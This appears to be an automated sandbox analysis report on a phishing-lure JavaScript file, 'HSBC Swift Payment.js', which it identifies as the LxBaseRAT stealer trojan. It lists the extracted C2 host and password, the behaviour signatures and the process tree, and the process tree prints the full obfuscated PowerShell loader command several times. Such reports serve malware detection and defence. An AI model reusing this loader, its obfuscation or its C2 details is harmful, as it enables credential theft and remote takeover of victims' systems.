Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    06/08/2026, 04:30

General

  • Target
    HSBC Swift Payment.js
  • Size 77KB
  • Sample260806-e4ybesx1cs
  • SHA256 49fe73f573adfe963be35d4e5058fb441729fb4970f68d3d900207eaee0b55a8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • lxbaserat

Version
  • 1.0.22

Botnet
  • Group1

Campaign
  • a960186a4f0446948e640c091cf27a4d

C2
  • lxxlxxnew.noip.at:4055

Attributes
  • directory

    WindowsTelemetry\Logs

  • executable

    client.exe

  • password

    JhJvrFokWE5J7XGvy01o

Signatures

  • Family: LxBaseRAT

    LxBaseRAT is a .NET remote access trojan with stealer capabilities.

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 9 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\HSBC Swift Payment.js"
    1⤵
      PID:4184
    • C:\Windows\system32\cmd.exe
      cmd /c %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe "$j=37-81;$dvvDcZz='1mebKtEu';$aq8mI4B='96cd9cbc80ac9bf2c8abaaad91fec28cfea4a0a685adcfec96cd948684aac18cfeb5b9a182bbbfb0f2a9bb8580b08eb8feb592f2db8d8abceeb5a6bc988e9db0efa8aca78dfed2ffc089aabccf8d8abceeb5a6bc988e9db0efa8aca78d8a96affe9af5f2b5b29ceea9cac5ec83e8dbe2bca3978691bc82bcfc92fca49bbaa889ef88b68ad0bdddb3ee9db68ab5bbb791ab9d98f8948b8289f6a5889e8bbaa8b3eda5a5bb86bda789f2a588a48b97a891e89e97869b97a99df49e98fdd1bcddeed39e979a8dbbdc9daa9ea2b09187969de1a3888ed1bfb892fc9697869b84b8eef2a587a3868aa8e6f39d8a8e9bbddd89ef9ea2b0d495a895aea3889e8386bc9df58c97bca3bddc91f7a5988292bbbc9df4979a8e9bbddd89ef9ea2b0d49284bbf7a38a9ed584b891aaa388a49484df99e1a4fd9e958782a7ae8c8ca3d697a8b3f68c88af8697bbeeeea398b09295b7aba28e87828dbaa789e2a5a68aa3bda79ddea5fdf989bfb8ebee96fc9e98bd8289eea38a9a97bcb899eba5a6fdacbcdd99f08c88ab9191dceea2e0c2c2a0ba8bf2cfbebfadc1f3bba6eba28bad87b781b6efaea0a6c1f6b48bfebfbbe6a4b08cb0ffaea1afbce4d58acf81f7e6a6bb9b8cefb5a6a686f6b49cf4a9b9ad93aab2e5a181bda78c9c8eacfef1fb9b95ac86b1fcefebaad7eac6f6b2cac5ae94b08cabf2a8a1e885f6cbb3b2bcebbfdc908aa8b688ada284bd9bffd5a2bbe6b6bb8d9cf7aeaaa695e5c798feb3e29a80b08bb0f6e7eba4c1f3acb0eea9bbe8c5b2c19cf4b2a1bcc8a2caa4efb5b6b393bb9baae9a9efec96f0abb0eca9a3a780baabbeefa6e7ecbef792bcfab3aca09aa392a296cda9bd8fbd9bb6f4a9efa1c9fa8ef3bfb3e3ec8cf2cbafa687e7e1c8a5cba6a69c9fa080b09bb0f680aebc8483d5e5d7a8aeaca0ad9cbaf6a5a3b1c9fa8ef6a0e39df5c5a7c198feb39bb191bb9cf7b2bbf0b3c581c199eeaba38680b38affb6a2bee8c5aa92e4bfa9f2ecb3f0a8baef8aaabc89b18b';$abIaDgo='TBxdGzZ6QkUCVFVUakh/Tkp6WVl6SH5HIlRRUG18N3ARWlxefQ1eTwpoRVVySHMMN0xRQ3dCPGkKS0RWcEJ1B00RCxNxHHlGTBkUWTBoY3MQWURefQhreyVbRF5oQGRPFmUKDV1TdUEQXXlZbVVxTgddGBNMCG0bQFYefnBXf0sBEBRYMgVgCRk1OjoUBXsdJBAYEHZVZAdEExAQbhs/D1UBAhksFCUOVQEFGS8UKA8NVVcYLw96UAMfGRs2BnhUEEgKGDEQKRJKCgUCMBApFUoJBQcxSH1HSwkeXW5GNwlIEBdfalVgGksXAgcnDyUUSgkABDAQIxBLUV1QMRA+ShRfFx43LBpJAhAYE3kcdABAUxkaf090CEBMDWxKRGhUSn1eVHFFeU4DZQoNS3VWGEp/VUNNVWJJCl8YE3kIOQ0JWURUdgYsHDdscRA+CjAHNmwOCTYPOh9NBAxyUAYwC0QfdAkgBjlbaTIQFzpGd0ZEBRAQallkDgJbBAEoFCREBgwCVTMVIhZdFQUDLRU9FFcBABomQiASAlpWVDFSdEELVEBCMUx/Q0pKX0N/U3VOAV9cRWtEd0EJUR5ZekI/D15LV0R4SndGDF5DUW1FNwBfGBRQeUcwHUQcV1B4D0NVBktERXdPdwhUFBATeUZ2DihdXlBqSTANRAkCHhMrNExEBRAQLgYwG2kyFFpnHDdNHUhCWHlTcU1KcF8QPgowBwldVUQ5Gh0qRBgQF3cBOHsnV15Be1NkfV4CdkVxTFJBF10GA01VYkkKXxgTU0BkQwxdQ2wvfDkJRBxdTj4GYlUKS0MQPmE4BANfVhs+BXwMRB8XGz4GQkUDeUNaOQ0wB1QfEBs+BmgWUB8ZOhQBMABEf1VDM3FiTwddQ0RiUn9SEBhzZ0sBPUQBS1NLbUR8RQdMEBp4SGJTEBgFS3hVMG4FVVUbXXFFABk1OjoUATAARBgQFz4BMA==';$zp3Sao=0x99A1-0xB274;$nPZsJpOH=@();foreach($c in [char[]]$dvvDcZz){$nPZsJpOH+=[byte]($c-bxor0xAA)};$ar5tNxg=$nPZsJpOH;$nPZsJpOH=@();foreach($c in [char[]]$dvvDcZz){$nPZsJpOH+=[byte]($c-bxor0x55)};$gF3pAFPoZ=$nPZsJpOH;$nPZsJpOHoldR='';$i=0;for($j=0;$j-lt$aq8mI4B.Length;$j+=2){$nPZsJpOHoldR+=[char](([Convert]::ToInt32($aq8mI4B.Substring($j,2),16))-bxor$ar5tNxg[$i++%$ar5tNxg.Length])};$cH6kK8KT=$nPZsJpOHoldR;$nPZsJpOHoldB=[Convert]::FromBase64String([regex]::Replace($abIaDgo, '$nPZsJpOH', ''));$nPZsJpOHoldR='';$i=0;for($j=0;$j-lt$nPZsJpOHoldB.Length;$j++){$nPZsJpOHoldR+=[char]($nPZsJpOHoldB[$j]-bxor$gF3pAFPoZ[$i++%$gF3pAFPoZ.Length])};$jRlgIbuF=$nPZsJpOHoldR;$yzY7ssN=$cH6kK8KT+$jRlgIbuF;.($env:ComSpec[4,26,25]-join'') $yzY7ssN"
      1⤵
      • Process spawned unexpected child process
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3948
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "$j=37-81;$dvvDcZz='1mebKtEu';$aq8mI4B='96cd9cbc80ac9bf2c8abaaad91fec28cfea4a0a685adcfec96cd948684aac18cfeb5b9a182bbbfb0f2a9bb8580b08eb8feb592f2db8d8abceeb5a6bc988e9db0efa8aca78dfed2ffc089aabccf8d8abceeb5a6bc988e9db0efa8aca78d8a96affe9af5f2b5b29ceea9cac5ec83e8dbe2bca3978691bc82bcfc92fca49bbaa889ef88b68ad0bdddb3ee9db68ab5bbb791ab9d98f8948b8289f6a5889e8bbaa8b3eda5a5bb86bda789f2a588a48b97a891e89e97869b97a99df49e98fdd1bcddeed39e979a8dbbdc9daa9ea2b09187969de1a3888ed1bfb892fc9697869b84b8eef2a587a3868aa8e6f39d8a8e9bbddd89ef9ea2b0d495a895aea3889e8386bc9df58c97bca3bddc91f7a5988292bbbc9df4979a8e9bbddd89ef9ea2b0d49284bbf7a38a9ed584b891aaa388a49484df99e1a4fd9e958782a7ae8c8ca3d697a8b3f68c88af8697bbeeeea398b09295b7aba28e87828dbaa789e2a5a68aa3bda79ddea5fdf989bfb8ebee96fc9e98bd8289eea38a9a97bcb899eba5a6fdacbcdd99f08c88ab9191dceea2e0c2c2a0ba8bf2cfbebfadc1f3bba6eba28bad87b781b6efaea0a6c1f6b48bfebfbbe6a4b08cb0ffaea1afbce4d58acf81f7e6a6bb9b8cefb5a6a686f6b49cf4a9b9ad93aab2e5a181bda78c9c8eacfef1fb9b95ac86b1fcefebaad7eac6f6b2cac5ae94b08cabf2a8a1e885f6cbb3b2bcebbfdc908aa8b688ada284bd9bffd5a2bbe6b6bb8d9cf7aeaaa695e5c798feb3e29a80b08bb0f6e7eba4c1f3acb0eea9bbe8c5b2c19cf4b2a1bcc8a2caa4efb5b6b393bb9baae9a9efec96f0abb0eca9a3a780baabbeefa6e7ecbef792bcfab3aca09aa392a296cda9bd8fbd9bb6f4a9efa1c9fa8ef3bfb3e3ec8cf2cbafa687e7e1c8a5cba6a69c9fa080b09bb0f680aebc8483d5e5d7a8aeaca0ad9cbaf6a5a3b1c9fa8ef6a0e39df5c5a7c198feb39bb191bb9cf7b2bbf0b3c581c199eeaba38680b38affb6a2bee8c5aa92e4bfa9f2ecb3f0a8baef8aaabc89b18b';$abIaDgo='TBxdGzZ6QkUCVFVUakh/Tkp6WVl6SH5HIlRRUG18N3ARWlxefQ1eTwpoRVVySHMMN0xRQ3dCPGkKS0RWcEJ1B00RCxNxHHlGTBkUWTBoY3MQWURefQhreyVbRF5oQGRPFmUKDV1TdUEQXXlZbVVxTgddGBNMCG0bQFYefnBXf0sBEBRYMgVgCRk1OjoUBXsdJBAYEHZVZAdEExAQbhs/D1UBAhksFCUOVQEFGS8UKA8NVVcYLw96UAMfGRs2BnhUEEgKGDEQKRJKCgUCMBApFUoJBQcxSH1HSwkeXW5GNwlIEBdfalVgGksXAgcnDyUUSgkABDAQIxBLUV1QMRA+ShRfFx43LBpJAhAYE3kcdABAUxkaf090CEBMDWxKRGhUSn1eVHFFeU4DZQoNS3VWGEp/VUNNVWJJCl8YE3kIOQ0JWURUdgYsHDdscRA+CjAHNmwOCTYPOh9NBAxyUAYwC0QfdAkgBjlbaTIQFzpGd0ZEBRAQallkDgJbBAEoFCREBgwCVTMVIhZdFQUDLRU9FFcBABomQiASAlpWVDFSdEELVEBCMUx/Q0pKX0N/U3VOAV9cRWtEd0EJUR5ZekI/D15LV0R4SndGDF5DUW1FNwBfGBRQeUcwHUQcV1B4D0NVBktERXdPdwhUFBATeUZ2DihdXlBqSTANRAkCHhMrNExEBRAQLgYwG2kyFFpnHDdNHUhCWHlTcU1KcF8QPgowBwldVUQ5Gh0qRBgQF3cBOHsnV15Be1NkfV4CdkVxTFJBF10GA01VYkkKXxgTU0BkQwxdQ2wvfDkJRBxdTj4GYlUKS0MQPmE4BANfVhs+BXwMRB8XGz4GQkUDeUNaOQ0wB1QfEBs+BmgWUB8ZOhQBMABEf1VDM3FiTwddQ0RiUn9SEBhzZ0sBPUQBS1NLbUR8RQdMEBp4SGJTEBgFS3hVMG4FVVUbXXFFABk1OjoUATAARBgQFz4BMA==';$zp3Sao=0x99A1-0xB274;$nPZsJpOH=@();foreach($c in [char[]]$dvvDcZz){$nPZsJpOH+=[byte]($c-bxor0xAA)};$ar5tNxg=$nPZsJpOH;$nPZsJpOH=@();foreach($c in [char[]]$dvvDcZz){$nPZsJpOH+=[byte]($c-bxor0x55)};$gF3pAFPoZ=$nPZsJpOH;$nPZsJpOHoldR='';$i=0;for($j=0;$j-lt$aq8mI4B.Length;$j+=2){$nPZsJpOHoldR+=[char](([Convert]::ToInt32($aq8mI4B.Substring($j,2),16))-bxor$ar5tNxg[$i++%$ar5tNxg.Length])};$cH6kK8KT=$nPZsJpOHoldR;$nPZsJpOHoldB=[Convert]::FromBase64String([regex]::Replace($abIaDgo, '$nPZsJpOH', ''));$nPZsJpOHoldR='';$i=0;for($j=0;$j-lt$nPZsJpOHoldB.Length;$j++){$nPZsJpOHoldR+=[char]($nPZsJpOHoldB[$j]-bxor$gF3pAFPoZ[$i++%$gF3pAFPoZ.Length])};$jRlgIbuF=$nPZsJpOHoldR;$yzY7ssN=$cH6kK8KT+$jRlgIbuF;.($env:ComSpec[4,26,25]-join'') $yzY7ssN"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3176
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\m2himbbq\m2himbbq.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3692
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE3B4.tmp" "c:\Users\Admin\AppData\Local\Temp\m2himbbq\CSC95FA70C4830E47A9945B80C7DD58669.TMP"
            4⤵
              PID:1984
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"
            3⤵
            • Checks computer location settings
            • Accesses Microsoft Outlook profiles
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            • outlook_office_path
            PID:5012
            • C:\Windows\System32\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\legs.js"
              4⤵
                PID:2740
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe"
                4⤵
                • Loads dropped DLL
                PID:1664
        • C:\Windows\system32\cmd.exe
          cmd /c %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe "$j=37-81;$dvvDcZz='1mebKtEu';$aq8mI4B='96cd9cbc80ac9bf2c8abaaad91fec28cfea4a0a685adcfec96cd948684aac18cfeb5b9a182bbbfb0f2a9bb8580b08eb8feb592f2db8d8abceeb5a6bc988e9db0efa8aca78dfed2ffc089aabccf8d8abceeb5a6bc988e9db0efa8aca78d8a96affe9af5f2b5b29ceea9cac5ec83e8dbe2bca3978691bc82bcfc92fca49bbaa889ef88b68ad0bdddb3ee9db68ab5bbb791ab9d98f8948b8289f6a5889e8bbaa8b3eda5a5bb86bda789f2a588a48b97a891e89e97869b97a99df49e98fdd1bcddeed39e979a8dbbdc9daa9ea2b09187969de1a3888ed1bfb892fc9697869b84b8eef2a587a3868aa8e6f39d8a8e9bbddd89ef9ea2b0d495a895aea3889e8386bc9df58c97bca3bddc91f7a5988292bbbc9df4979a8e9bbddd89ef9ea2b0d49284bbf7a38a9ed584b891aaa388a49484df99e1a4fd9e958782a7ae8c8ca3d697a8b3f68c88af8697bbeeeea398b09295b7aba28e87828dbaa789e2a5a68aa3bda79ddea5fdf989bfb8ebee96fc9e98bd8289eea38a9a97bcb899eba5a6fdacbcdd99f08c88ab9191dceea2e0c2c2a0ba8bf2cfbebfadc1f3bba6eba28bad87b781b6efaea0a6c1f6b48bfebfbbe6a4b08cb0ffaea1afbce4d58acf81f7e6a6bb9b8cefb5a6a686f6b49cf4a9b9ad93aab2e5a181bda78c9c8eacfef1fb9b95ac86b1fcefebaad7eac6f6b2cac5ae94b08cabf2a8a1e885f6cbb3b2bcebbfdc908aa8b688ada284bd9bffd5a2bbe6b6bb8d9cf7aeaaa695e5c798feb3e29a80b08bb0f6e7eba4c1f3acb0eea9bbe8c5b2c19cf4b2a1bcc8a2caa4efb5b6b393bb9baae9a9efec96f0abb0eca9a3a780baabbeefa6e7ecbef792bcfab3aca09aa392a296cda9bd8fbd9bb6f4a9efa1c9fa8ef3bfb3e3ec8cf2cbafa687e7e1c8a5cba6a69c9fa080b09bb0f680aebc8483d5e5d7a8aeaca0ad9cbaf6a5a3b1c9fa8ef6a0e39df5c5a7c198feb39bb191bb9cf7b2bbf0b3c581c199eeaba38680b38affb6a2bee8c5aa92e4bfa9f2ecb3f0a8baef8aaabc89b18b';$abIaDgo='TBxdGzZ6QkUCVFVUakh/Tkp6WVl6SH5HIlRRUG18N3ARWlxefQ1eTwpoRVVySHMMN0xRQ3dCPGkKS0RWcEJ1B00RCxNxHHlGTBkUWTBoY3MQWURefQhreyVbRF5oQGRPFmUKDV1TdUEQXXlZbVVxTgddGBNMCG0bQFYefnBXf0sBEBRYMgVgCRk1OjoUBXsdJBAYEHZVZAdEExAQbhs/D1UBAhksFCUOVQEFGS8UKA8NVVcYLw96UAMfGRs2BnhUEEgKGDEQKRJKCgUCMBApFUoJBQcxSH1HSwkeXW5GNwlIEBdfalVgGksXAgcnDyUUSgkABDAQIxBLUV1QMRA+ShRfFx43LBpJAhAYE3kcdABAUxkaf090CEBMDWxKRGhUSn1eVHFFeU4DZQoNS3VWGEp/VUNNVWJJCl8YE3kIOQ0JWURUdgYsHDdscRA+CjAHNmwOCTYPOh9NBAxyUAYwC0QfdAkgBjlbaTIQFzpGd0ZEBRAQallkDgJbBAEoFCREBgwCVTMVIhZdFQUDLRU9FFcBABomQiASAlpWVDFSdEELVEBCMUx/Q0pKX0N/U3VOAV9cRWtEd0EJUR5ZekI/D15LV0R4SndGDF5DUW1FNwBfGBRQeUcwHUQcV1B4D0NVBktERXdPdwhUFBATeUZ2DihdXlBqSTANRAkCHhMrNExEBRAQLgYwG2kyFFpnHDdNHUhCWHlTcU1KcF8QPgowBwldVUQ5Gh0qRBgQF3cBOHsnV15Be1NkfV4CdkVxTFJBF10GA01VYkkKXxgTU0BkQwxdQ2wvfDkJRBxdTj4GYlUKS0MQPmE4BANfVhs+BXwMRB8XGz4GQkUDeUNaOQ0wB1QfEBs+BmgWUB8ZOhQBMABEf1VDM3FiTwddQ0RiUn9SEBhzZ0sBPUQBS1NLbUR8RQdMEBp4SGJTEBgFS3hVMG4FVVUbXXFFABk1OjoUATAARBgQFz4BMA==';$zp3Sao=0x99A1-0xB274;$nPZsJpOH=@();foreach($c in [char[]]$dvvDcZz){$nPZsJpOH+=[byte]($c-bxor0xAA)};$ar5tNxg=$nPZsJpOH;$nPZsJpOH=@();foreach($c in [char[]]$dvvDcZz){$nPZsJpOH+=[byte]($c-bxor0x55)};$gF3pAFPoZ=$nPZsJpOH;$nPZsJpOHoldR='';$i=0;for($j=0;$j-lt$aq8mI4B.Length;$j+=2){$nPZsJpOHoldR+=[char](([Convert]::ToInt32($aq8mI4B.Substring($j,2),16))-bxor$ar5tNxg[$i++%$ar5tNxg.Length])};$cH6kK8KT=$nPZsJpOHoldR;$nPZsJpOHoldB=[Convert]::FromBase64String([regex]::Replace($abIaDgo, '$nPZsJpOH', ''));$nPZsJpOHoldR='';$i=0;for($j=0;$j-lt$nPZsJpOHoldB.Length;$j++){$nPZsJpOHoldR+=[char]($nPZsJpOHoldB[$j]-bxor$gF3pAFPoZ[$i++%$gF3pAFPoZ.Length])};$jRlgIbuF=$nPZsJpOHoldR;$yzY7ssN=$cH6kK8KT+$jRlgIbuF;.($env:ComSpec[4,26,25]-join'') $yzY7ssN"
          1⤵
          • Process spawned unexpected child process
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2428
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "$j=37-81;$dvvDcZz='1mebKtEu';$aq8mI4B='96cd9cbc80ac9bf2c8abaaad91fec28cfea4a0a685adcfec96cd948684aac18cfeb5b9a182bbbfb0f2a9bb8580b08eb8feb592f2db8d8abceeb5a6bc988e9db0efa8aca78dfed2ffc089aabccf8d8abceeb5a6bc988e9db0efa8aca78d8a96affe9af5f2b5b29ceea9cac5ec83e8dbe2bca3978691bc82bcfc92fca49bbaa889ef88b68ad0bdddb3ee9db68ab5bbb791ab9d98f8948b8289f6a5889e8bbaa8b3eda5a5bb86bda789f2a588a48b97a891e89e97869b97a99df49e98fdd1bcddeed39e979a8dbbdc9daa9ea2b09187969de1a3888ed1bfb892fc9697869b84b8eef2a587a3868aa8e6f39d8a8e9bbddd89ef9ea2b0d495a895aea3889e8386bc9df58c97bca3bddc91f7a5988292bbbc9df4979a8e9bbddd89ef9ea2b0d49284bbf7a38a9ed584b891aaa388a49484df99e1a4fd9e958782a7ae8c8ca3d697a8b3f68c88af8697bbeeeea398b09295b7aba28e87828dbaa789e2a5a68aa3bda79ddea5fdf989bfb8ebee96fc9e98bd8289eea38a9a97bcb899eba5a6fdacbcdd99f08c88ab9191dceea2e0c2c2a0ba8bf2cfbebfadc1f3bba6eba28bad87b781b6efaea0a6c1f6b48bfebfbbe6a4b08cb0ffaea1afbce4d58acf81f7e6a6bb9b8cefb5a6a686f6b49cf4a9b9ad93aab2e5a181bda78c9c8eacfef1fb9b95ac86b1fcefebaad7eac6f6b2cac5ae94b08cabf2a8a1e885f6cbb3b2bcebbfdc908aa8b688ada284bd9bffd5a2bbe6b6bb8d9cf7aeaaa695e5c798feb3e29a80b08bb0f6e7eba4c1f3acb0eea9bbe8c5b2c19cf4b2a1bcc8a2caa4efb5b6b393bb9baae9a9efec96f0abb0eca9a3a780baabbeefa6e7ecbef792bcfab3aca09aa392a296cda9bd8fbd9bb6f4a9efa1c9fa8ef3bfb3e3ec8cf2cbafa687e7e1c8a5cba6a69c9fa080b09bb0f680aebc8483d5e5d7a8aeaca0ad9cbaf6a5a3b1c9fa8ef6a0e39df5c5a7c198feb39bb191bb9cf7b2bbf0b3c581c199eeaba38680b38affb6a2bee8c5aa92e4bfa9f2ecb3f0a8baef8aaabc89b18b';$abIaDgo='TBxdGzZ6QkUCVFVUakh/Tkp6WVl6SH5HIlRRUG18N3ARWlxefQ1eTwpoRVVySHMMN0xRQ3dCPGkKS0RWcEJ1B00RCxNxHHlGTBkUWTBoY3MQWURefQhreyVbRF5oQGRPFmUKDV1TdUEQXXlZbVVxTgddGBNMCG0bQFYefnBXf0sBEBRYMgVgCRk1OjoUBXsdJBAYEHZVZAdEExAQbhs/D1UBAhksFCUOVQEFGS8UKA8NVVcYLw96UAMfGRs2BnhUEEgKGDEQKRJKCgUCMBApFUoJBQcxSH1HSwkeXW5GNwlIEBdfalVgGksXAgcnDyUUSgkABDAQIxBLUV1QMRA+ShRfFx43LBpJAhAYE3kcdABAUxkaf090CEBMDWxKRGhUSn1eVHFFeU4DZQoNS3VWGEp/VUNNVWJJCl8YE3kIOQ0JWURUdgYsHDdscRA+CjAHNmwOCTYPOh9NBAxyUAYwC0QfdAkgBjlbaTIQFzpGd0ZEBRAQallkDgJbBAEoFCREBgwCVTMVIhZdFQUDLRU9FFcBABomQiASAlpWVDFSdEELVEBCMUx/Q0pKX0N/U3VOAV9cRWtEd0EJUR5ZekI/D15LV0R4SndGDF5DUW1FNwBfGBRQeUcwHUQcV1B4D0NVBktERXdPdwhUFBATeUZ2DihdXlBqSTANRAkCHhMrNExEBRAQLgYwG2kyFFpnHDdNHUhCWHlTcU1KcF8QPgowBwldVUQ5Gh0qRBgQF3cBOHsnV15Be1NkfV4CdkVxTFJBF10GA01VYkkKXxgTU0BkQwxdQ2wvfDkJRBxdTj4GYlUKS0MQPmE4BANfVhs+BXwMRB8XGz4GQkUDeUNaOQ0wB1QfEBs+BmgWUB8ZOhQBMABEf1VDM3FiTwddQ0RiUn9SEBhzZ0sBPUQBS1NLbUR8RQdMEBp4SGJTEBgFS3hVMG4FVVUbXXFFABk1OjoUATAARBgQFz4BMA==';$zp3Sao=0x99A1-0xB274;$nPZsJpOH=@();foreach($c in [char[]]$dvvDcZz){$nPZsJpOH+=[byte]($c-bxor0xAA)};$ar5tNxg=$nPZsJpOH;$nPZsJpOH=@();foreach($c in [char[]]$dvvDcZz){$nPZsJpOH+=[byte]($c-bxor0x55)};$gF3pAFPoZ=$nPZsJpOH;$nPZsJpOHoldR='';$i=0;for($j=0;$j-lt$aq8mI4B.Length;$j+=2){$nPZsJpOHoldR+=[char](([Convert]::ToInt32($aq8mI4B.Substring($j,2),16))-bxor$ar5tNxg[$i++%$ar5tNxg.Length])};$cH6kK8KT=$nPZsJpOHoldR;$nPZsJpOHoldB=[Convert]::FromBase64String([regex]::Replace($abIaDgo, '$nPZsJpOH', ''));$nPZsJpOHoldR='';$i=0;for($j=0;$j-lt$nPZsJpOHoldB.Length;$j++){$nPZsJpOHoldR+=[char]($nPZsJpOHoldB[$j]-bxor$gF3pAFPoZ[$i++%$gF3pAFPoZ.Length])};$jRlgIbuF=$nPZsJpOHoldR;$yzY7ssN=$cH6kK8KT+$jRlgIbuF;.($env:ComSpec[4,26,25]-join'') $yzY7ssN"
            2⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4764
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\w4q5roxe\w4q5roxe.cmdline"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1368
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1181.tmp" "c:\Users\Admin\AppData\Local\Temp\w4q5roxe\CSCC243B42B1AC840928E1FB390FAEFF6F4.TMP"
                4⤵
                  PID:2964
          • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
            "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
            1⤵
              PID:4272
            • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
              "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
              1⤵
                PID:4284

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

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                    Downloads

                    powershell.exe.log

                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                    • Size 3KB
                    • SHA256 21db44ce40f79d645bbcd2afe2986cfc1f9015e490c46935f823e7e50fb7d6cb
                    • MD5 SHA1 SHA512 TLSH

                    msasn1.dll

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\msasn1.dll
                    • Size 119KB
                    • SHA256 fe8289239a81f3e1bc881e4f622e11c8e67b1d90c4a54d07a55e00a1950939d8
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 26da09a103a799dfebc7a2e73811d914573d8c306f50b01d7bc1ef47d1fb5d82
                    • MD5 SHA1 SHA512 TLSH

                    RES1181.tmp

                    • Path C:\Users\Admin\AppData\Local\Temp\RES1181.tmp
                    • Size 1KB
                    • SHA256 d3cff5b5bd16e411276cc2cf45505cf3e7d05fa25ef688d2eb459fa2127bb2a6
                    • MD5 SHA1 SHA512 TLSH

                    RESE3B4.tmp

                    • Path C:\Users\Admin\AppData\Local\Temp\RESE3B4.tmp
                    • Size 1KB
                    • SHA256 8a8fe7b14663024f1c4361fb62dcacb9db84625108cda7c8627fbc78080928b6
                    • MD5 SHA1 SHA512 TLSH

                    __PSScriptPolicyTest_ovbqtzdh.dap.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ovbqtzdh.dap.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH

                    legs.js

                    • Path C:\Users\Admin\AppData\Local\Temp\legs.js
                    • Size 77KB
                    • SHA256 49fe73f573adfe963be35d4e5058fb441729fb4970f68d3d900207eaee0b55a8
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    m2himbbq.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\m2himbbq\m2himbbq.dll
                    • Size 3KB
                    • SHA256 c6f7b983c29dc8c79b94cc9d9793d46ee6be6ca25bd7c13f4d49fce0a37d7b2c
